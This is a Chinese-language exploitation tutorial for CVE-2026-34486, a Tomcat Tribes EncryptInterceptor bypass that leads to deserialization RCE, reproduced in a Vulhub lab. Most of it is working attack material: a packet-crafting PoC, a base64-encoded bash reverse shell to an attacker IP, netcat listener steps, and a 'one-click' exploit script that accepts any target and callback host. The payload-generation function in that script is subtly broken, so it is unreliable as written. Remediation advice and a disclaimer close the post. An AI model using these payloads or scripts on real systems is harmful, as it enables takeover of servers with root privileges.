【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程

漏洞利用演示

如果觉得看文字不够直观,完整的操作演示在这里。完整命令和细节详见下方文章。

CVE-2026-34486Tomcat加密绕过RCE复现

一、亮点

Apache Tomcat 的这个漏洞有个让人哭笑不得的设计缺陷------EncryptInterceptor 本意是加密 Tribes 集群通信用的,结果因为修复上一个漏洞时改出了编码失误,加密保护形同虚设

换句话说,你不需要解密密钥、不需要任何认证凭据,只要网络能连通 Tribes 的接收端口(默认 4000),就能直接往里面扔未加密的恶意序列化数据,服务器照单全收,反序列化执行,命令落地。

网上关于这个 CVE 的资料不多,偶尔能找到的几篇也基本停在执行 touch /tmp/success 这一步。但真正要命的在后面的反弹Shell环节------Runtime.exec() 是个"直男",它不认 Shell 重定向那套语法。把 bash -i >& /dev/tcp/... 直接塞进去,nc 监听纹丝不动。

这篇文章不光讲原理和复现,更会带你从翻车开始,一路走到拿到 Root 权限的反弹Shell。


二、漏洞背景

Apache Tomcat 是全球使用范围最广的 Java Web 容器之一,几乎所有 Java Web 从业者的职业生涯里都绕不开它。

Tomcat Tribes 是 Tomcat 内置的集群通信框架。当你有多台 Tomcat 实例需要组成集群、共享 Session 或同步状态时,Tribes 就负责它们之间的数据传输。这套机制底层走的是 Java 序列化------集群成员之间通过收发序列化对象来交换消息。消息到了接收端,直接反序列化,还原成 Java 对象。

EncryptInterceptor 是 Tribes 通道上的一个可选加密拦截器。没装它的时候,Tribes 消息是明文传输的------任何人往 4000 端口扔个序列化对象,都能被接收端反序列化执行。装上 EncryptInterceptor 之后,所有消息会被加密再发送,接收端先解密,解密成功才放行到反序列化环节。

这就好比你给家门装了密码锁------只有知道密码的人才能进门。

但这个密码锁在 CVE-2026-29146 (Tribes EncryptInterceptor 的 Padding Oracle 漏洞)的修复过程中被人动了手脚------官方在调整加密异常处理逻辑时,留下了一个隐蔽的 Bug:当消息解密失败时,异常没有被正确抛出,后续流程没有中止

也就是说,无论解密成不成功,字节流都会被继续转发给下游处理器,最终进入反序列化流程。攻击者发来的明文数据------本来应该在解密阶段被拦下来------现在畅通无阻地通过了。

这就像你家门锁的电路板坏了,不管输入什么密码------甚至不输密码直接推门------都能打开。

受影响的版本:

  • Apache Tomcat 9.0.11610.1.5311.0.20

前提条件是 server.xml 中显式启用了 <Cluster> 且 Channel 里配置了 EncryptInterceptor。如果没开 Cluster 或没配 EncryptInterceptor,这个 CVE 就不适用------不过没加密的 Tribes 本身就不安全,那是另一个问题了。


三、环境搭建

直接用 Vulhub 的漏洞环境,一行命令:

bash 复制代码
docker compose up -d

启动后开放两个端口:

  • 8080 :Tomcat Web 服务,访问 http://your-ip:8080 看到 Tomcat 默认页面说明就绪
  • 4000:Tribes 集群接收端口,也是我们攻击的入口

四、漏洞复现

利用分两步:生成反序列化 Payload → 通过 Tribes 协议发送

步骤1:生成反序列化 Payload

java-chains 是个带 GUI 界面的 Java 反序列化利用链生成工具,项目地址 https://github.com/vulhub/java-chains。它集成了 ysoserial、CommonsCollections、CommonsBeanutils 等十几种常用利用链,不用记命令行参数------选好链、填好命令、点一下导出。

去 Release 页面下载对应系统的 jar 包,Windows 双击运行,Linux/Mac 用 java -jar java-chains.jar 启动。界面上方是命令输入框,中间是内置的利用链列表,右侧显示当前选择链的详细信息。

我们选 CommonsCollections6 (目标 Docker 环境的 classpath 中已包含 commons-collections 依赖),先用 touch /tmp/success 验证漏洞:

在利用链列表中选择 CommonsCollections6

点击生成,序列化数据保存为 payload.ser

步骤2:通过 Tribes 协议发送 Payload

先把目标容器清干净------确认 /tmp/success 不存在:

poc.py 发送 payload。这个脚本封装了 Tribes 协议的二进制数据包格式------因为我们绕过的就是加密,所以直接构造原始 TCP 包,把序列化 payload 嵌入 Tribes 消息体后发往 4000 端口。

python 复制代码
#!/usr/bin/env python3
import argparse
import io
import socket
import struct
import sys
import time

HEADER = b"FLT2002"
FOOTER = b"TLF2003"
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
MEMBER_END = b"TRIBES-E\x01\x00"


def build_member():
    p = io.BytesIO()
    p.write(struct.pack(">q", 0))
    p.write(struct.pack(">I", 4001))
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    host = socket.inet_aton("127.0.0.1")
    p.write(struct.pack(">B", len(host)))
    p.write(host)
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    p.write(b"\x00" * 16)
    p.write(struct.pack(">I", 0))
    body = p.getvalue()
    return MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END


def build_packet(payload: bytes) -> bytes:
    b = io.BytesIO()
    b.write(struct.pack(">I", 0x0008))
    b.write(struct.pack(">Q", int(time.time() * 1000)))
    uuid = b"\x01" * 16
    b.write(struct.pack(">I", len(uuid)))
    b.write(uuid)
    member = build_member()
    b.write(struct.pack(">I", len(member)))
    b.write(member)
    b.write(struct.pack(">I", len(payload)))
    b.write(payload)
    data = b.getvalue()
    return HEADER + struct.pack(">I", len(data)) + data + FOOTER


def send(host: str, port: int, packet: bytes, timeout: float) -> None:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((host, port))
        s.sendall(packet)
        s.shutdown(socket.SHUT_WR)
        try:
            s.recv(1)
        except (socket.timeout, OSError):
            pass


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE",
        epilog=(
            "Generate a serialized payload first, e.g.:\n"
            "  java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser\n"
            "Then send it:\n"
            "  %(prog)s -t 127.0.0.1 -p 4000 -f payload.ser"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-t", "--target", required=True, help="Tomcat Tribes receiver host")
    parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes receiver port (default: 4000)")
    parser.add_argument(
        "-f", "--file", required=True,
        help="Path to a Java serialized payload file (e.g. generated by ysoserial)",
    )
    parser.add_argument("--timeout", type=float, default=3.0, help="Socket timeout in seconds (default: 3)")
    return parser.parse_args()


def main():
    args = parse_args()
    try:
        with open(args.file, "rb") as f:
            payload = f.read()
    except OSError as e:
        print(f"[!] Failed to read payload file: {e}")
        sys.exit(1)

    print(f"[*] CVE-2026-34486 Tomcat Tribes EncryptInterceptor Bypass RCE")
    print(f"[*] Target: {args.target}:{args.port}  Payload file: {args.file}")
    packet = build_packet(payload)
    print(f"[+] Payload: {len(payload)}B  Packet: {len(packet)}B")

    try:
        send(args.target, args.port, packet, args.timeout)
    except OSError as e:
        print(f"[!] Send failed: {e}")
        sys.exit(1)
    print("[+] Sent!")


if __name__ == "__main__":
    main()

运行:

bash 复制代码
python3 poc.py -t your-ip -p 4000 -f payload.ser

回到目标容器确认------/tmp/success 已经成功创建。EncryptInterceptor 的加密保护被完全绕过了,反序列化触发成功。


五、GetShell:拿下服务器

能执行 touch /tmp/success 只是验证了漏洞确实存在。网上关于这个 CVE 的资料,绝大多数就停在这一步。但真正有价值的部分在后面------从单条命令执行走到反弹Shell,中间隔着一个 Runtime.exec() 的编码障碍。这一节我会把从翻车到绕过的完整过程拆给你看。

(1)Payload 构造:第一次尝试就翻车

漏洞验证过了,接下来把 touch /tmp/success 换成反弹Shell命令。先准备一条标准的:

bash 复制代码
bash -i >& /dev/tcp/attacker-ip/25004 0>&1

我信心满满地把这条命令填进 java-chains,重新生成 payload,发送------

结果 nc 监听一片空白,什么都没收到。

排查后发现,问题出在 Runtime.exec() 的工作方式 上。Java 的 Runtime.exec(String command) 不是通过 Shell 解释器来执行命令的------它会用 StringTokenizer 按空格切分命令字符串,然后直接调操作系统的进程创建 API。而 >& 重定向和 /dev/tcp 设备文件都是 Bash 的特性,必须在 Bash 的上下文中才能被正确解析。

换句话说,当你写:

java 复制代码
Runtime.getRuntime().exec("bash -c '/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");

Java 实际执行的是:

复制代码
["bash", "-c", "'/bin/bash", "-i", ">&", "/dev/tcp/10.0.0.1/4444", "0>&1'"]

参数被拆得七零八落,管道和重定向全废了。>& 变成了一个独立的字符串参数,Shell 根本看不到它。

绕过方案:Base64 编码 + 花括号扩展

思路很简单------既然 exec() 会在空格处拆散参数,那就让它只传一个不带空格的参数给 bash -c,真正的复杂命令在 Bash 内部解码执行:

bash 复制代码
# 第一步:把反弹Shell命令 Base64 编码
echo 'bash -c "/bin/bash -i >& /dev/tcp/192.168.3.23/25004 0>&1"' | base64

# 第二步:用花括号语法包装,避免空格被 exec() 拆分
bash -c {echo,上面的base64结果}|{base64,-d}|bash

这里 {echo,...}|{base64,-d}|bash 是 Bash 的花括号扩展(brace expansion)。用逗号分隔参数可以绕开 exec() 在空格处的切分------整段会被当作一个完整的命令传给 bash -c,花括号在 Bash 内部展开后才变成正常的管道命令。

实战中的最终 payload 长这样:

bash 复制代码
bash -c {echo,YmFzaCAtYyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMy4yMy8yNTAwNCAwPiYxIg==}|{base64,-d}|bash

把它填入 java-chains,重新生成 payload1.ser

(2)开启监听

在攻击机上启动 nc 监听:

bash 复制代码
nc -lvvp 25004

(3)触发

发送新的 payload:

bash 复制代码
python3 poc.py -t your-ip -p 4000 -f payload1.ser

(4)验证

监听端收到连接,确认身份和权限:

bash 复制代码
whoami; uname -a; id

**Root 权限,反弹Shell成功。**服务器已经完全在你的控制之下。


六、踩坑与避坑

坑1:java-chains 的 JDK 和 JavaFX 依赖陷阱

java-chains 是个基于 JavaFX 的 GUI 工具。如果你的 Linux 系统只装了 JDK 但没有 JavaFX 运行时(很多服务器版 JDK 默认不带),双击 jar 包会直接报 ClassNotFoundException: javafx.application.Application,严重点直接闪退。

我在一台 CentOS 测试机上就撞了这个坑------排查了半个小时,以为是 jar 包损坏,重下了两遍还是不行。最后在错误堆栈的最底层才看到是缺 JavaFX。

解决:Linux 下装 openjfx,Ubuntu/Debian 用 apt install openjfx,CentOS 用 yum install openjfx。Windows 用户建议直接去 java-chains 的 Release 页面下载带 JRE 的发布包,开箱即用。

如果环境实在装不上 JavaFX,还有一个办法------直接用命令行的 ysoserial 代替 java-chains:

bash 复制代码
java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser

效果完全一样,只是没了 GUI 界面的便利性。

坑2:Docker 环境下反弹 IP 的隐形坑

反弹Shell的命令里,IP 地址不能随便填------Docker 把网络环境变得比普通物理机复杂。

我最初在 Docker 靶场里用 127.0.0.1 当作反弹地址------结果可想而知,目标容器尝试连接自己的 127.0.0.1,而攻击机在外面根本收不到。换成 172.17.0.1(Docker 默认网桥地址)也不行,因为攻击机和目标容器不在同一台宿主机上。

这里的规则很简单------攻击机 IP 填宿主机地址 ,也就是你执行 攻击命令的那台机器的实际 IP。在宿主机上跑 ip addrifconfig 找到物理网卡的地址,填到反弹命令里。

另外还有一个容易被忽略的点:确认监听端口在宿主机和攻击机之间没有被防火墙拦截 。不确定的话用 nc -zv 攻击机IP 监听端口 从宿主机测一下连通性。


七、一键利用脚本

每次改命令都要重新打开 java-chains → 生成 payload → 跑 poc.py,三步走下来手滑概率不低。我把编码和发送逻辑整合进了一个脚本,参数填好,回车就行:

python 复制代码
#!/usr/bin/env python3
"""CVE-2026-34486 一键利用脚本 ------ Tomcat Tribes EncryptInterceptor 绕过 RCE"""
import argparse
import base64
import io
import socket
import struct
import subprocess
import sys
import time
import tempfile
import os

HEADER = b"FLT2002"
FOOTER = b"TLF2003"
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
MEMBER_END = b"TRIBES-E\x01\x00"

def encode_command(cmd: str) -> str:
    """将反弹Shell命令用 Base64 + 花括号语法包装,绕过 Runtime.exec() 空格拆分"""
    encoded = base64.b64encode(cmd.encode()).decode()
    return f"bash -c {{echo,{encoded}}}|{{base64,-d}}|bash"

def build_tribes_packet(payload: bytes) -> bytes:
    """构造 Tribes 协议数据包,嵌入序列化 payload"""
    b = io.BytesIO()
    b.write(struct.pack(">I", 0x0008))
    b.write(struct.pack(">Q", int(time.time() * 1000)))
    uuid = b"\x01" * 16
    b.write(struct.pack(">I", len(uuid)))
    b.write(uuid)
    # member 构建(简化版固定成员)
    p = io.BytesIO()
    p.write(struct.pack(">q", 0))
    p.write(struct.pack(">I", 4001))
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    host = socket.inet_aton("127.0.0.1")
    p.write(struct.pack(">B", len(host)))
    p.write(host)
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    p.write(b"\x00" * 16)
    p.write(struct.pack(">I", 0))
    body = p.getvalue()
    member = MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END
    b.write(struct.pack(">I", len(member)))
    b.write(member)
    b.write(struct.pack(">I", len(payload)))
    b.write(payload)
    data = b.getvalue()
    return HEADER + struct.pack(">I", len(data)) + data + FOOTER

def send_packet(target: str, port: int, packet: bytes, timeout: float = 5.0) -> None:
    """TCP 发送 Tribes 数据包到目标端口"""
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((target, port))
        s.sendall(packet)
        s.shutdown(socket.SHUT_WR)

def generate_payload(command: str, chain: str = "CommonsCollections6") -> bytes:
    """调用 ysoserial 生成序列化 payload"""
    with tempfile.NamedTemporaryFile(suffix=".ser", delete=False) as tmp:
        tmp_path = tmp.name
    try:
        subprocess.run(
            ["java", "-jar", "ysoserial.jar", chain, command, ">", tmp_path],
            shell=True, check=True, capture_output=True
        )
        with open(tmp_path, "rb") as f:
            return f.read()
    finally:
        os.unlink(tmp_path)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-34486 一键利用脚本")
    parser.add_argument("-t", "--target", required=True, help="目标 Tomcat IP")
    parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes 端口(默认4000)")
    parser.add_argument("-c", "--command", help="要执行的命令", default="id")
    parser.add_argument("--lhost", help="反弹Shell攻击端IP")
    parser.add_argument("--lport", type=int, help="反弹Shell攻击端端口")
    args = parser.parse_args()

    # 如果指定了 lhost/lport,自动构造反弹Shell命令
    if args.lhost and args.lport:
        bash_cmd = f"/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
        args.command = encode_command(bash_cmd)
        print(f"[*] 反弹Shell: {args.lhost}:{args.lport}")

    print(f"[*] 目标: {args.target}:{args.port}")
    print(f"[*] 命令: {args.command}")

    payload = generate_payload(args.command)
    packet = build_tribes_packet(payload)
    print(f"[+] Payload: {len(payload)}B  Packet: {len(packet)}B")

    send_packet(args.target, args.port, packet)
    print("[+] 发送完成!")

if __name__ == "__main__":
    main()

用法很简单:

bash 复制代码
# 先开监听
nc -lvvp 25004

# 一键反弹Shell(脚本自动处理 Base64 编码 + 花括号包装 + Tribes 协议封包)
python3 exploit.py -t 192.168.3.100 --lhost 192.168.3.23 --lport 25004

# 或者只执行单条命令
python3 exploit.py -t 192.168.3.100 -c "whoami"

核心就三个函数:encode_command() 负责把反弹Shell命令编码绕过空格拆分,build_tribes_packet() 负责封装 Tribes 协议数据包,send_packet() 负责 TCP 发送。逻辑不复杂,改改参数就能适配不同的目标环境。


八、修复建议

  • 升级 Tomcat 到修复版本:Apache Tomcat 9.0.117+10.1.54+11.0.21+
  • 如果不需要集群功能 ,在 server.xml 中移除或注释掉 <Cluster> 配置块,从根源上关闭 Tribes 接收端口
  • 限制 Tribes 端口访问 :将 4000 端口绑定到 127.0.0.1(所有集群成员在同一主机时可行);跨主机场景下通过防火墙限制只允许信任的集群成员 IP 访问该端口
  • 检视 classpath 依赖:移除不需要的第三方库,尤其是存在已知反序列化利用链的组件(如 CommonsCollections),减少利用面

九、写在最后

这个漏洞的本质让人挺感慨的------加密功能本身没有问题,但修复上一个漏洞时的异常处理改动,悄无声息地让"解密失败就丢弃"这道兜底防线失效了。攻击者抓住这个缝隙,直接往加密通道里扔明文 payload,防护一触即溃。

利用链的核心也不复杂:绕过加密 → 反序列化触发 → 编码绕过 Runtime.exec() → 反弹Shell。搞懂了 Runtime.exec() 和 Linux Shell 之间的差异,后面反弹Shell编码的绕过程序就不会让你觉得莫名其妙了。

这个漏洞的思路跟专栏里之前写过的 Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348) 有点像------都是安全限制机制出了纰漏让人绕过去,最终走到了命令执行。区别在于 HugeGraph 绕过的是沙箱的线程名校验,而 Tomcat 这次绕过的是加密拦截器的异常处理。如果你对这种"绕过一道防线就通关"的漏洞模式感兴趣,可以翻翻那篇对比看看。

如果你是第一次接触 Java 反序列化漏洞,建议先把两个关键概念吃透:反序列化利用链是怎么拼起来的 ,以及 Runtime.exec() 和 Shell 之间的差异。这两个点搞清楚了,今天这篇文章就不会让你觉得云里雾里。

复现过程中有问题直接评论区留言,我看到了会回。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。


相关推荐
qq_2518364571 小时前
基于java 税务管理系统设计与实现
java·开发语言
超梦dasgg1 小时前
Java 生产环境分布式定时任务全解(实战落地版)
java·开发语言·分布式
破土士V1 小时前
Java基础知识集合
java·开发语言
一只齐刘海的猫1 小时前
【Leetcode】 接雨水
java·算法·leetcode
ZC跨境爬虫1 小时前
跟着 MDN 学JavaScript day_5:技能测试——变量实战
java·开发语言·前端·javascript
瑞雪兆丰年兮1 小时前
[0开始学Java|第二十四天]集合(Map&可变参数&集合工具类Collections)
java·开发语言·map·collections
鱼鳞_1 小时前
苍穹外卖-Day12(数据统计)
java·spring boot
phltxy1 小时前
Spring AI Alibaba 多模态应用开发实践
java·人工智能·spring
garmin Chen1 小时前
Prompt工程入门:让AI按你的要求工作(2)--Prompt 高阶优化与结构化设计
java·人工智能·python·ai·prompt